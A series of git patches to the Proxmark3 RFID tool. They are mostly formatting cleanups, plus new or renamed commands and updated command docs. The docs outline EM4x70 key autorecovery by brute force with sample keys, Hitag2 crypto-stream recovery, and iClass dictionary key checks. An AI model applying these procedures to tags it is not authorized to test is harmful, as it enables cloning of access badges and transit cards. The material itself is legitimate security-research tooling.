test32.offset = rand(); PrintAndLogEx(DEBUG, "Save State clock=%u, offset=%u", test32.clock, test32.offset); - uint32_t *destBuffer = (uint32_t*)calloc(length, sizeof(uint32_t)); + uint32_t *destBuffer = (uint32_t *)calloc(length, sizeof(uint32_t)); size_t returnedLength = restore_buffer32(test32, destBuffer); - if(returnedLength != length) { + if (returnedLength != length) { PrintAndLogEx(FAILED, "Return Length != Buffer Length! Expected '%llu', got '%llu", g_DemodBufferLen, returnedLength); free(srcBuffer); free(destBuffer); @@ -3763,8 +3763,8 @@ static int CmdTestSaveState32(const char *Cmd) { } PrintAndLogEx(DEBUG, _GREEN_("Lengths match!") "\n"); - for(size_t i = 0; i < length; i++) { - if(srcBuffer[i] != destBuffer[i]) { + for (size_t i = 0; i < length; i++) { + if (srcBuffer[i] != destBuffer[i]) { PrintAndLogEx(FAILED, "Buffers don't match at index %lu!, Expected %i, got %i", i, srcBuffer[i], destBuffer[i]); free(srcBuffer); free(destBuffer); @@ -3782,8 +3782,8 @@ static int CmdTestSaveState32(const char *Cmd) { static int CmdTestSaveState32S(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "data test_ss32s", - "Tests the implementation of Buffer Save States (32-bit signed buffer)", - "data test_ss32s"); + "Tests the implementation of Buffer Save States (32-bit signed buffer)", + "data test_ss32s"); void *argtable[] = { arg_param_begin, arg_param_end @@ -3794,10 +3794,10 @@ static int CmdTestSaveState32S(const char *Cmd) { srand(time(NULL)); size_t length = 64; - int32_t *srcBuffer = (int32_t*)calloc(length, sizeof(int32_t)); + int32_t *srcBuffer = (int32_t *)calloc(length, sizeof(int32_t)); //Set up the source buffer with random data - for(int i = 0; i < length; i++) { + for (int i = 0; i < length; i++) { srcBuffer[i] = (rand() - 4294967296); } @@ -3808,10 +3808,10 @@ static int CmdTestSaveState32S(const char *Cmd) { test32.offset = rand(); PrintAndLogEx(DEBUG, "Save State clock=%u, offset=%u", test32.clock, test32.offset); - int32_t *destBuffer = (int32_t*)calloc(length, sizeof(int32_t)); + int32_t *destBuffer = (int32_t *)calloc(length, sizeof(int32_t)); size_t returnedLength = restore_bufferS32(test32, destBuffer); - if(returnedLength != length) { + if (returnedLength != length) { PrintAndLogEx(FAILED, "Return Length != Buffer Length! Expected '%llu', got '%llu", g_DemodBufferLen, returnedLength); free(srcBuffer); free(destBuffer); @@ -3819,8 +3819,8 @@ static int CmdTestSaveState32S(const char *Cmd) { } PrintAndLogEx(DEBUG, _GREEN_("Lengths match!") "\n"); - for(int i = 0; i < length; i++) { - if(srcBuffer[i] != destBuffer[i]) { + for (int i = 0; i < length; i++) { + if (srcBuffer[i] != destBuffer[i]) { PrintAndLogEx(FAILED, "Buffers don't match at index %i!, Expected %i, got %i", i, srcBuffer[i], destBuffer[i]); free(srcBuffer); free(destBuffer); diff --git a/client/src/cmdhf14a.c b/client/src/cmdhf14a.c index bc4218180..312e42994 100644 --- a/client/src/cmdhf14a.c +++ b/client/src/cmdhf14a.c @@ -2452,9 +2452,9 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { get_compact_tlv(card.ats + pos, calen); } else { PrintAndLogEx(SUCCESS, "%s - %s" - , sprint_hex_inrow(card.ats + pos, calen) - , sprint_ascii(card.ats + pos, calen) - ); + , sprint_hex_inrow(card.ats + pos, calen) + , sprint_ascii(card.ats + pos, calen) + ); } PrintAndLogEx(NORMAL, ""); diff --git a/client/src/cmdhf14b.c b/client/src/cmdhf14b.c index 0f621d8d9..d2785a517 100644 --- a/client/src/cmdhf14b.c +++ b/client/src/cmdhf14b.c @@ -403,7 +403,7 @@ uint8_t *get_uid_from_filename(const char *filename) { } // extract uid part from filename - char uidinhex[17] = {0}; + char uidinhex[17] = {0}; strncpy(uidinhex, found + 7, 16); uidinhex[16] = '\0'; @@ -2486,16 +2486,16 @@ static int CmdHF14BAPDU(const char *Cmd) { uint16_t sw = get_sw(data, datalen); if (sw != ISO7816_OK) { PrintAndLogEx(SUCCESS, "APDU response: " _YELLOW_("%02x %02x") " - %s" - , data[datalen - 2] - , data[datalen - 1] - , GetAPDUCodeDescription(data[datalen - 2], data[datalen - 1]) - ); + , data[datalen - 2] + , data[datalen - 1] + , GetAPDUCodeDescription(data[datalen - 2], data[datalen - 1]) + ); } else { PrintAndLogEx(SUCCESS, "APDU response: " _GREEN_("%02x %02x") " - %s" - , data[datalen - 2] - , data[datalen - 1] - , GetAPDUCodeDescription(data[datalen - 2], data[datalen - 1]) - ); + , data[datalen - 2] + , data[datalen - 1] + , GetAPDUCodeDescription(data[datalen - 2], data[datalen - 1]) + ); } // TLV decoder @@ -2708,30 +2708,30 @@ static int CmdHF14BCalypsoRead(const char *Cmd) { {"19.SpecEv1", "\x94\xb2\x01\x04\x1d", 5}, }; -/* -local CLA = '94' -local _calypso_cmds = { + /* + local CLA = '94' + local _calypso_cmds = { --- Break down of command bytes: --- A4 = select --- Master File 3F00 --- 0x3F = master file --- 0x00 = master file id, is constant to 0x00. + -- Break down of command bytes: + -- A4 = select + -- Master File 3F00 + -- 0x3F = master file + -- 0x00 = master file id, is constant to 0x00. --- DF Dedicated File 38nn --- can be seen as directories --- 0x38 --- 0xNN id --- ["01.Select ICC file"] = '0294 a4 080004 3f00 0002', + -- DF Dedicated File 38nn + -- can be seen as directories + -- 0x38 + -- 0xNN id + -- ["01.Select ICC file"] = '0294 a4 080004 3f00 0002', --- EF Elementary File --- EF1 Pin file --- EF2 Key file --- Grey Lock file --- Electronic deposit file --- Electronic Purse file --- Electronic Transaction log file -*/ + -- EF Elementary File + -- EF1 Pin file + -- EF2 Key file + -- Grey Lock file + -- Electronic deposit file + -- Electronic Purse file + -- Electronic Transaction log file + */ bool activate_field = true; bool leave_signal_on = true; uint8_t response[PM3_CMD_DATA_SIZE] = { 0x00 }; @@ -2741,15 +2741,15 @@ local _calypso_cmds = { int user_timeout = -1; int resplen = 0; int res = exchange_14b_apdu( - (uint8_t*)cmds[i].apdu, - cmds[i].apdulen, - activate_field, - leave_signal_on, - response, - PM3_CMD_DATA_SIZE, - &resplen, - user_timeout - ); + (uint8_t *)cmds[i].apdu, + cmds[i].apdulen, + activate_field, + leave_signal_on, + response, + PM3_CMD_DATA_SIZE, + &resplen, + user_timeout + ); if (res != PM3_SUCCESS) { PrintAndLogEx(FAILED, "sending command failed, aborting!"); @@ -2846,15 +2846,15 @@ static int CmdHF14BMobibRead(const char *Cmd) { int user_timeout = -1; int resplen = 0; int res = exchange_14b_apdu( - (uint8_t*)cmds[i].apdu, - cmds[i].apdulen, - activate_field, - leave_signal_on, - response, - PM3_CMD_DATA_SIZE, - &resplen, - user_timeout - ); + (uint8_t *)cmds[i].apdu, + cmds[i].apdulen, + activate_field, + leave_signal_on, + response, + PM3_CMD_DATA_SIZE, + &resplen, + user_timeout + ); if (res != PM3_SUCCESS) { PrintAndLogEx(FAILED, "sending command failed, aborting!"); diff --git a/client/src/cmdhf15.c b/client/src/cmdhf15.c index ca09d1078..914a1b58b 100644 --- a/client/src/cmdhf15.c +++ b/client/src/cmdhf15.c @@ -130,15 +130,15 @@ static const productName_t uidmapping[] = { { 0xe002480000000000LL, 24, "ST Microelectronics; ST25TV16K"}, { 0xe002480000000000LL, 24, "ST Microelectronics; ST25TV64K"}, -/* -ST25TV02K 0xe0 02 23 -ST25TV512 0xe0 02 23 -ST25TV02KC 0xe00208 -ST25TV512C 0xe00208 -ST25TV04K-P 0xe00235 -ST25TV16K 0xe00248 -ST25TV64K 0xe00248 -*/ + /* + ST25TV02K 0xe0 02 23 + ST25TV512 0xe0 02 23 + ST25TV02KC 0xe00208 + ST25TV512C 0xe00208 + ST25TV04K-P 0xe00235 + ST25TV16K 0xe00248 + ST25TV64K 0xe00248 + */ { 0xE003000000000000LL, 16, "Hitachi, Ltd Japan" }, @@ -480,7 +480,7 @@ static int iso15_error_handling_card_response(uint8_t *d, uint16_t n) { return PM3_ECRC; } - if ( (d[0] & ISO15_RES_ERROR) == ISO15_RES_ERROR ) { + if ((d[0] & ISO15_RES_ERROR) == ISO15_RES_ERROR) { if (d[1] == 0x0F || d[1] == 0x10) { return PM3_EOUTOFBOUND; } @@ -1911,7 +1911,7 @@ static int CmdHF15Dump(const char *Cmd) { uint8_t dCpt = 10; int res = iso15_error_handling_card_response(d, resp.length); - if ( res != PM3_SUCCESS ) { + if (res != PM3_SUCCESS) { free(tag); free(packet); return res; diff --git a/client/src/cmdhfmfdes.c b/client/src/cmdhfmfdes.c index b833b12ac..6002aa837 100644 --- a/client/src/cmdhfmfdes.c +++ b/client/src/cmdhfmfdes.c @@ -4858,10 +4858,10 @@ static int DesfileReadFileAndPrint(DesfireContext_t *dctx, if (verbose) { PrintAndLogEx(INFO, _CYAN_("File type:") " %s Option: %s comm mode: %s", - GetDesfireFileType(fsettings.fileType), - CLIGetOptionListStr(DesfireReadFileTypeOpts, filetype), - CLIGetOptionListStr(DesfireCommunicationModeOpts, fsettings.commMode) - ); + GetDesfireFileType(fsettings.fileType), + CLIGetOptionListStr(DesfireReadFileTypeOpts, filetype), + CLIGetOptionListStr(DesfireCommunicationModeOpts, fsettings.commMode) + ); } } else { PrintAndLogEx(WARNING, "GetFileSettings error. Can't get file type."); diff --git a/client/src/cmdhfst.c b/client/src/cmdhfst.c index a3ec549f5..13c482cbc 100644 --- a/client/src/cmdhfst.c +++ b/client/src/cmdhfst.c @@ -42,7 +42,7 @@ const char *get_st_chip_model(uint8_t pc) { return "SRT512"; case 0xC4: return "ST25TA64K"; - case 0xC5: + case 0xC5: return "ST25TA16K"; case 0xE2: return "ST25??? IKEA Rothult"; diff --git a/client/src/cmdhfst25ta.c b/client/src/cmdhfst25ta.c index 86664f309..4298bde7d 100644 --- a/client/src/cmdhfst25ta.c +++ b/client/src/cmdhfst25ta.c @@ -190,13 +190,13 @@ static int print_st25ta_signature(uint8_t *uid, uint8_t *signature) { } static int st25ta_get_signature(uint8_t *signature) { - /* + /* hf 14a raw -sck 0200A4040007D276000085010100 hf 14a raw -ck 0300A4000C020001 hf 14a raw -c 02a2b000e020 -*/ + */ typedef struct { - const char* apdu; + const char *apdu; uint8_t apdulen; } transport_st25a_apdu_t; @@ -211,7 +211,7 @@ static int st25ta_get_signature(uint8_t *signature) { bool activate_field = true; for (uint8_t i = 0; i < ARRAYLEN(cmds); i++) { - int res = ExchangeAPDU14a( (uint8_t*)cmds[i].apdu, cmds[i].apdulen, activate_field, true, resp, sizeof(resp), &resplen); + int res = ExchangeAPDU14a((uint8_t *)cmds[i].apdu, cmds[i].apdulen, activate_field, true, resp, sizeof(resp), &resplen); if (res != PM3_SUCCESS) { DropField(); return res; diff --git a/client/src/cmdlf.c b/client/src/cmdlf.c index ef7fb4e86..2a01f9c8c 100644 --- a/client/src/cmdlf.c +++ b/client/src/cmdlf.c @@ -1587,7 +1587,7 @@ out: restore_bufferS32(saveState_gb, g_GraphBuffer); g_GridOffset = saveState_gb.offset; - + return retval; } diff --git a/client/src/cmdlfem4x70.c b/client/src/cmdlfem4x70.c index 19c0d0450..c200e8d4b 100644 --- a/client/src/cmdlfem4x70.c +++ b/client/src/cmdlfem4x70.c @@ -1107,7 +1107,7 @@ static int CmdEM4x70AutoRecover_ParseArgs(const char *Cmd, em4x70_cmd_input_reco , "lf em 4x70 autorecover --rnd 45F54ADA252AAC --frn 4866BB70 --grn 9BD180 (pm3 test key)\n" "lf em 4x70 autorecover --rnd 3FFE1FB6CC513F --frn F355F1A0 --grn 609D60 (research paper key)\n" - "lf em 4x70 autorecover --rnd 7D5167003571F8 --frn 982DBCC0 --grn 36C0E0 (autorecovery test key)\n" + "lf em 4x70 autorecover --rnd 7D5167003571F8 --frn 982DBCC0 --grn 36C0E0 (autorecovery test key)\n" ); void *argtable[] = { diff --git a/client/src/graph.c b/client/src/graph.c index 2eb185e0a..f0e1a67bd 100644 --- a/client/src/graph.c +++ b/client/src/graph.c @@ -127,7 +127,7 @@ size_t getFromGraphBuffer(uint8_t *dest) { } size_t getFromGraphBufferEx(uint8_t *dest, size_t maxLen) { - if (dest == NULL){ + if (dest == NULL) { return 0; } @@ -511,7 +511,7 @@ void remove_temporary_markers(void) { buffer_savestate_t save_buffer32(uint32_t *src, size_t length) { //calloc the memory needed - uint32_t* savedBuffer = (uint32_t*)calloc(length, sizeof(uint32_t)); + uint32_t *savedBuffer = (uint32_t *)calloc(length, sizeof(uint32_t)); //Make a copy of the source buffer memcpy(savedBuffer, src, (length * sizeof(uint32_t))); @@ -527,7 +527,7 @@ buffer_savestate_t save_buffer32(uint32_t *src, size_t length) { buffer_savestate_t save_bufferS32(int32_t *src, size_t length) { //calloc the memory needed - uint32_t* savedBuffer = (uint32_t*)calloc(length, (sizeof(uint32_t))); + uint32_t *savedBuffer = (uint32_t *)calloc(length, (sizeof(uint32_t))); //Make a copy of the source buffer memcpy(savedBuffer, src, (length * sizeof(uint32_t))); @@ -552,15 +552,15 @@ buffer_savestate_t save_buffer8(uint8_t *src, size_t length) { } // calloc the memory needed - uint32_t* savedBuffer = (uint32_t*)calloc(buffSize, sizeof(uint32_t)); + uint32_t *savedBuffer = (uint32_t *)calloc(buffSize, sizeof(uint32_t)); size_t index = 0; // Pack the source array into the backing array - for(size_t i = 0; i < length; i += 4) { + for (size_t i = 0; i < length; i += 4) { savedBuffer[index] = MemLeToUint4byte(src + i); index++; } - + buffer_savestate_t bst = { .type = sizeof(uint8_t), .bufferSize = buffSize, @@ -571,7 +571,7 @@ buffer_savestate_t save_buffer8(uint8_t *src, size_t length) { } size_t restore_buffer32(buffer_savestate_t saveState, uint32_t *dest) { - if(saveState.type != sizeof(uint32_t)) { + if (saveState.type != sizeof(uint32_t)) { PrintAndLogEx(WARNING, "Invalid Save State type! Expected uint32_t!"); PrintAndLogEx(WARNING, "Buffer not modified!\n"); return 0; @@ -583,7 +583,7 @@ size_t restore_buffer32(buffer_savestate_t saveState, uint32_t *dest) { } size_t restore_bufferS32(buffer_savestate_t saveState, int32_t *dest) { - if(saveState.type != (sizeof(int32_t) >> 8)) { + if (saveState.type != (sizeof(int32_t) >> 8)) { PrintAndLogEx(WARNING, "Invalid Save State type! Expected int32_t"); PrintAndLogEx(WARNING, "Buffer not modified!\n"); return 0; @@ -595,7 +595,7 @@ size_t restore_bufferS32(buffer_savestate_t saveState, int32_t *dest) { } size_t restore_buffer8(buffer_savestate_t saveState, uint8_t *dest) { - if(saveState.type != sizeof(uint8_t)) { + if (saveState.type != sizeof(uint8_t)) { PrintAndLogEx(WARNING, "Invalid Save State type! Expected uint8_t!"); PrintAndLogEx(WARNING, "Buffer not modified!\n"); return 0; @@ -604,7 +604,7 @@ size_t restore_buffer8(buffer_savestate_t saveState, uint8_t *dest) { size_t index = 0; // Unpack the array - for(size_t i = 0; i < saveState.bufferSize; i++) { + for (size_t i = 0; i < saveState.bufferSize; i++) { dest[index++] = saveState.buffer[i]; dest[index++] = (saveState.buffer[i] >> 8) & 0xFF; dest[index++] = (saveState.buffer[i] >> 16) & 0xFF; diff --git a/client/src/pm3line_vocabulary.h b/client/src/pm3line_vocabulary.h index d2adac558..2cb832da4 100644 --- a/client/src/pm3line_vocabulary.h +++ b/client/src/pm3line_vocabulary.h @@ -118,6 +118,9 @@ const static vocabulary_t vocabulary[] = { { 1, "data diff" }, { 0, "data hexsamples" }, { 0, "data samples" }, + { 0, "data test_ss8" }, + { 0, "data test_ss32" }, + { 0, "data test_ss32s" }, { 1, "emv help" }, { 1, "emv list" }, { 1, "emv test" }, @@ -170,6 +173,8 @@ const static vocabulary_t vocabulary[] = { { 0, "hf 14b wrbl" }, { 1, "hf 14b view" }, { 1, "hf 14b valid" }, + { 0, "hf 14b calypso" }, + { 0, "hf 14b mobib" }, { 1, "hf 15 help" }, { 1, "hf 15 list" }, { 1, "hf 15 demod" }, @@ -645,7 +650,7 @@ const static vocabulary_t vocabulary[] = { { 1, "lf hitag help" }, { 1, "lf hitag list" }, { 0, "lf hitag info" }, - { 1, "lf hitag selftest" }, + { 1, "lf hitag test" }, { 0, "lf hitag dump" }, { 0, "lf hitag read" }, { 0, "lf hitag sniff" }, @@ -655,6 +660,7 @@ const static vocabulary_t vocabulary[] = { { 0, "lf hitag eview" }, { 0, "lf hitag sim" }, { 0, "lf hitag cc" }, + { 0, "lf hitag crack2" }, { 0, "lf hitag chk" }, { 1, "lf hitag lookup" }, { 0, "lf hitag ta" }, diff --git a/client/src/proxguiqt.cpp b/client/src/proxguiqt.cpp index 55d41e96f..768b88c45 100644 --- a/client/src/proxguiqt.cpp +++ b/client/src/proxguiqt.cpp @@ -1270,14 +1270,14 @@ void Plot::mouseMoveEvent(QMouseEvent *event) { int x = event->x(); //Only run the marker place code if a mouse button is pressed - if((event->buttons() & Qt::LeftButton) || (event->buttons() & Qt::RightButton)) { + if ((event->buttons() & Qt::LeftButton) || (event->buttons() & Qt::RightButton)) { x -= WIDTH_AXES; x = (int)(x / g_GraphPixelsPerPoint); x += g_GraphStart; - if(x > (int)g_GraphTraceLen) x = 0; // Set to 0 if the number is stupidly big - else if(x < (int)g_GraphStart) x = (int)g_GraphStart; // Bounds checking for the start of the Graph Window - else if(x > (int)g_GraphStop) x = (int)g_GraphStop; // Bounds checking for the end of the Graph Window + if (x > (int)g_GraphTraceLen) x = 0; // Set to 0 if the number is stupidly big + else if (x < (int)g_GraphStart) x = (int)g_GraphStart; // Bounds checking for the start of the Graph Window + else if (x > (int)g_GraphStop) x = (int)g_GraphStop; // Bounds checking for the end of the Graph Window if ((event->buttons() & Qt::LeftButton)) { // True for left click, false otherwise g_MarkerA.pos = x; diff --git a/doc/commands.json b/doc/commands.json index 8dfa18c30..1cf347b1d 100644 --- a/doc/commands.json +++ b/doc/commands.json @@ -720,7 +720,7 @@ "-h, --help This help", "--keep keep the current values of the markers", "-a yellow marker", - "-b pink marker", + "-b purple marker", "-c orange marker", "-d blue marker" ], @@ -740,6 +740,42 @@ ], "usage": "data shiftgraphzero [-h] -n " }, + "data test_ss32": { + "command": "data test_ss32", + "description": "Tests the implementation of Buffer Save States (32-bit buffer)", + "notes": [ + "data test_ss32" + ], + "offline": false, + "options": [ + "-h, --help This help" + ], + "usage": "data test_ss32 [-h]" + }, + "data test_ss32s": { + "command": "data test_ss32s", + "description": "Tests the implementation of Buffer Save States (32-bit signed buffer)", + "notes": [ + "data test_ss32s" + ], + "offline": false, + "options": [ + "-h, --help This help" + ], + "usage": "data test_ss32s [-h]" + }, + "data test_ss8": { + "command": "data test_ss8", + "description": "Tests the implementation of Buffer Save States (8-bit buffer)", + "notes": [ + "data test_ss8" + ], + "offline": false, + "options": [ + "-h, --help This help" + ], + "usage": "data test_ss8 [-h]" + }, "data timescale": { "command": "data timescale", "description": "Set cursor display timescale. Setting the timescale makes the differential `dt` reading between the yellow and purple markers meaningful. once the timescale is set, the differential reading between brackets can become a time duration.", @@ -1386,6 +1422,18 @@ ], "usage": "hf 14b apdu [-hskte] [--decode] [-m ] [-l ] -d [--timeout ]" }, + "hf 14b calypso": { + "command": "hf 14b calypso", + "description": "Reads out the contents of a ISO14443B Calypso card", + "notes": [ + "hf 14b calypso" + ], + "offline": false, + "options": [ + "-h, --help This help" + ], + "usage": "hf 14b calypso [-h]" + }, "hf 14b dump": { "command": "hf 14b dump", "description": "This command dumps the contents of a ISO-14443-B tag and save it to file Tries to autodetect cardtype, memory size defaults to SRI4K", @@ -1404,7 +1452,7 @@ }, "hf 14b help": { "command": "hf 14b help", - "description": "--------- ----------------------- General ----------------------- help This help list List ISO-14443-B history --------- ----------------------- Operations ----------------------- view Display content from tag dump file valid SRIX4 checksum test --------------------------------------------------------------------------------------- hf 14b list available offline: yes Alias of `trace list -t 14b -c` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", + "description": "--------- ----------------------- General ----------------------- help This help list List ISO-14443-B history --------- ----------------------- Operations ----------------------- view Display content from tag dump file valid SRIX4 checksum test --------- ------------------ Calypso / Mobib ------------------ --------------------------------------------------------------------------------------- hf 14b list available offline: yes Alias of `trace list -t 14b -c` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", "notes": [ "hf 14b list --frame -> show frame delay times", "hf 14b list -1 -> use trace buffer" @@ -1437,6 +1485,18 @@ ], "usage": "hf 14b info [-hsv]" }, + "hf 14b mobib": { + "command": "hf 14b mobib", + "description": "Reads out the contents of a ISO14443B Mobib card", + "notes": [ + "hf 14b mobib" + ], + "offline": false, + "options": [ + "-h, --help This help" + ], + "usage": "hf 14b mobib [-h]" + }, "hf 14b ndefread": { "command": "hf 14b ndefread", "description": "Print NFC Data Exchange Format (NDEF)", @@ -1501,10 +1561,11 @@ "offline": false, "options": [ "-h, --help This help", + "--plot show anticollision signal trace in plot window", "-v, --verbose verbose output", "-@ optional - continuous reader mode" ], - "usage": "hf 14b reader [-hv@]" + "usage": "hf 14b reader [-hv@] [--plot]" }, "hf 14b restore": { "command": "hf 14b restore", @@ -3102,7 +3163,7 @@ "description": "Checkkeys loads a dictionary text file with 8byte hex keys to test authenticating against a iClass tag", "notes": [ "hf iclass chk -f iclass_default_keys.dic", - "hf iclass chk -f iclass_default_keys.dic --elite" + "hf iclass chk -f iclass_elite_keys.dic --elite" ], "offline": false, "options": [ @@ -8925,7 +8986,8 @@ "description": "Authenticate against an EM4x70 by sending random number (RN) and F(RN) If F(RN) is incorrect based on the tag key, the tag will not respond If F(RN) is correct based on the tag key, the tag will give a 20-bit response", "notes": [ "lf em 4x70 auth --rnd 45F54ADA252AAC --frn 4866BB70 -> (using pm3 test key)", - "lf em 4x70 auth --rnd 3FFE1FB6CC513F --frn F355F1A0 -> (using research paper key)" + "lf em 4x70 auth --rnd 3FFE1FB6CC513F --frn F355F1A0 -> (using research paper key)", + "lf em 4x70 auth --rnd 7D5167003571F8 --frn 982DBCC0 -> (autorecovery test key)" ], "offline": false, "options": [ @@ -8941,7 +9003,8 @@ "description": "This command will perform automatic recovery of the key from a writable tag. All steps are possible to do manually. The corresponding sequence, if done manually, is as follows: 1. Verify passed parameters authenticate with the tag (safety check) lf em 4x70 auth --rnd --frn 2. Brute force the key bits in block 9 lf em 4x70 write -b 9 -d 0000 lf em 4x70 recover -b 9 --rnd --frn lf em 4x70 write -b 9 -d 3. Brute force the key bits in block 8 lf em 4x70 write -b 8 -d 0000 lf em 4x70 recover -b 8 --rnd --frn lf em 4x70 write -b 8 -d 4. Brute force the key bits in block 7 lf em 4x70 write -b 7 -d 0000) lf em 4x70 recover -b 7 --rnd --frn lf em 4x70 write -b 7 -d 5. Recover potential values of the lower 48 bits of the key lf em 4x70 recover --key --rnd --frn 6. Verify which potential key is actually on the tag (using a different rnd/frn combination) lf em 4x70 auth --rnd --frn 7. Print the validated key This command simply requires the rnd/frn/grn from a single known-good authentication.", "notes": [ "lf em 4x70 autorecover --rnd 45F54ADA252AAC --frn 4866BB70 --grn 9BD180 (pm3 test key)", - "lf em 4x70 autorecover --rnd 3FFE1FB6CC513F --frn F355F1A0 --grn 609D60 (research paper key)" + "lf em 4x70 autorecover --rnd 3FFE1FB6CC513F --frn F355F1A0 --grn 609D60 (research paper key)", + "lf em 4x70 autorecover --rnd 7D5167003571F8 --frn 982DBCC0 --grn 36C0E0 (autorecovery test key)" ], "offline": false, "options": [ @@ -9007,7 +9070,8 @@ "description": "Write new 96-bit key to tag", "notes": [ "lf em 4x70 setkey -k F32AA98CF5BE4ADFA6D3480B (pm3 test key)", - "lf em 4x70 setkey -k A090A0A02080000000000000 (research paper key)" + "lf em 4x70 setkey -k A090A0A02080000000000000 (research paper key)", + "lf em 4x70 setkey -k 022A028C02BE000102030405 (autorecovery test key)" ], "offline": false, "options": [ @@ -9443,6 +9507,19 @@ ], "usage": "lf hitag chk [-h] [-f ] [--pwd] [--crypto]" }, + "lf hitag crack2": { + "command": "lf hitag crack2", + "description": "This command tries to recover 2048 bits of Hitag2 crypto stream data.", + "notes": [ + "lf hitag crack2 --nrar 73AA5A62EAB8529C" + ], + "offline": false, + "options": [ + "-h, --help This help", + "--nrar specify nonce / answer as 8 hex bytes" + ], + "usage": "lf hitag lookup [-h] [--nrar ]" + }, "lf hitag dump": { "command": "lf hitag dump", "description": "Read all Hitag 2 card memory and save to file Crypto mode key format: ISK high + ISK low, 4F4E4D494B52 (ONMIKR) Password mode, default key 4D494B52 (MIKR)", @@ -9497,7 +9574,7 @@ }, "lf hitag help": { "command": "lf hitag help", - "description": "help This help list List Hitag trace history selftest Perform self test view Display content from tag dump file lookup Uses authentication trace to check for key in dictionary file --------------------------------------------------------------------------------------- lf hitag list available offline: yes Alias of `trace list -t hitag2` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", + "description": "help This help list List Hitag trace history test Perform self tests view Display content from tag dump file lookup Uses authentication trace to check for key in dictionary file --------------------------------------------------------------------------------------- lf hitag list available offline: yes Alias of `trace list -t hitag2` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", "notes": [ "lf hitag list --frame -> show frame delay times", "lf hitag list -1 -> use trace buffer" @@ -9576,18 +9653,6 @@ ], "usage": "lf hitag read [-hs2] [--pwd] [--nrar ] [--crypto] [-k ]" }, - "lf hitag selftest": { - "command": "lf hitag selftest", - "description": "Perform selftest of Hitag crypto engine", - "notes": [ - "lf hitag selftest" - ], - "offline": true, - "options": [ - "-h, --help This help" - ], - "usage": "lf hitag selftest [-h]" - }, "lf hitag sim": { "command": "lf hitag sim", "description": "Simulate Hitag transponder You need to `lf hitag eload` first", @@ -9615,6 +9680,18 @@ ], "usage": "lf hitag sniff [-h]" }, + "lf hitag test": { + "command": "lf hitag test", + "description": "Perform self tests of Hitag crypto engine", + "notes": [ + "lf hitag test" + ], + "offline": true, + "options": [ + "-h, --help This help" + ], + "usage": "lf hitag test [-h]" + }, "lf hitag view": { "command": "lf hitag view", "description": "Print a HITAG dump file (bin/eml/json)", @@ -12622,8 +12699,8 @@ } }, "metadata": { - "commands_extracted": 729, + "commands_extracted": 735, "extracted_by": "PM3Help2JSON v1.00", - "extracted_on": "2024-04-22T14:35:02" + "extracted_on": "2024-05-14T08:02:41" } } diff --git a/doc/commands.md b/doc/commands.md index d828f70df..e010a8a17 100644 --- a/doc/commands.md +++ b/doc/commands.md @@ -137,6 +137,9 @@ Check column "offline" for their availability. |`data diff `|Y |`Diff of input files` |`data hexsamples `|N |`Dump big buffer as hex bytes` |`data samples `|N |`Get raw samples for graph window ( GraphBuffer )` +|`data test_ss8 `|N |`Test the implementation of Buffer Save States (8-bit buffer)` +|`data test_ss32 `|N |`Test the implementation of Buffer Save States (32-bit buffer)` +|`data test_ss32s `|N |`Test the implementation of Buffer Save States (32-bit signed buffer)` ### emv @@ -221,6 +224,8 @@ Check column "offline" for their availability. |`hf 14b wrbl `|N |`Write data to a SRI512/SRIX4 tag` |`hf 14b view `|Y |`Display content from tag dump file` |`hf 14b valid `|Y |`SRIX4 checksum test` +|`hf 14b calypso `|N |`Read contents of a Calypso card` +|`hf 14b mobib `|N |`Read contents of a Mobib card` ### hf 15 @@ -1041,7 +1046,7 @@ Check column "offline" for their availability. |`lf hitag help `|Y |`This help` |`lf hitag list `|Y |`List Hitag trace history` |`lf hitag info `|N |`Hitag 2 tag information` -|`lf hitag selftest `|Y |`Perform self test` +|`lf hitag test `|Y |`Perform self tests` |`lf hitag dump `|N |`Dump Hitag 2 tag` |`lf hitag read `|N |`Read Hitag memory` |`lf hitag sniff `|N |`Eavesdrop Hitag communication` @@ -1051,6 +1056,7 @@ Check column "offline" for their availability. |`lf hitag eview `|N |`View emulator memory` |`lf hitag sim `|N |`Simulate Hitag transponder` |`lf hitag cc `|N |`Hitag S: test all provided challenges` +|`lf hitag crack2 `|N |`Recover 2048bits of crypto stream` |`lf hitag chk `|N |`Check keys` |`lf hitag lookup `|Y |`Uses authentication trace to check for key in dictionary file` |`lf hitag ta `|N |`Hitag 2: test all recorded authentications` From 6abb217a1877b10e1d24f87bb71a8f010e4a8931 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 May 2024 10:10:12 +0200 Subject: [PATCH 033/157] fix shadowed variable --- bootrom/bootrom.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/bootrom/bootrom.c b/bootrom/bootrom.c index f94353f29..74c0a9b9e 100644 --- a/bootrom/bootrom.c +++ b/bootrom/bootrom.c @@ -296,9 +296,9 @@ static void UsbPacketReceived(uint8_t *packet) { } // delay_loop(1) = 3.07us -static volatile uint32_t c; +static volatile uint32_t ccc; static void __attribute__((optimize("O0"))) delay_loop(uint32_t delay) { - for (c = delay * 2; c; c--) {}; + for (ccc = delay * 2; ccc; ccc--) {}; } static void flash_mode(void) { From e3ceb2ffe489d55ff414bf1a4ff9d35a618ddfae Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 May 2024 10:10:44 +0200 Subject: [PATCH 034/157] const param --- armsrc/optimized_elite.c | 2 +- client/src/loclass/elite_crack.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/armsrc/optimized_elite.c b/armsrc/optimized_elite.c index 3e9e1608a..4fdda62f0 100644 --- a/armsrc/optimized_elite.c +++ b/armsrc/optimized_elite.c @@ -153,7 +153,7 @@ Definition 14. Define the rotate key function rk : (F 82 ) 8 × N → (F 82 ) 8 rk(x [0] . . . x [7] , 0) = x [0] . . . x [7] rk(x [0] . . . x [7] , n + 